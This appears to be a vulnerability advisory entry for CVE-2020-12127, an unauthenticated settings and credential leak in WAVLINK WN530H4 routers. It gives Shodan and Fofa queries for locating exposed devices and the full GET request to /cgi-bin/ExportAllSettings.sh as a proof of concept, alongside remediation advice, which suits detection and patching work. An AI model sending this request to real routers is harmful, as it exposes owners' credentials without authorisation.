| Title | WAVLINK WN530H4 M30H4.V5030.190403 - Information Disclosure |
|---|---|
| Author | arafatansari |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to gain access to sensitive information, such as router configuration settings and user credentials. |
| Remediation | Apply the latest firmware update provided by the vendor to fix the information disclosure vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.1847 |
| CVE ID | CVE-2020-12127 |
| CWE ID | CWE-306 |
| Shodan Query | http.html:"Wavlink"http.html:"wavlink" |
| Fofa Query | body="wavlink" |
| Tags | cve cve2020 wavlink exposure vuln |
WAVLINK WN530H4 M30H4.V5030.190403 contains an information disclosure vulnerability in the /cgi-bin/ExportAllSettings.sh endpoint. This can allow an attacker to leak router settings, including cleartext login details, DNS settings, and other sensitive information without authentication.
GET /cgi-bin/ExportAllSettings.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Mobile/15E148 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-12127.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-12127.pcap
N/AN/A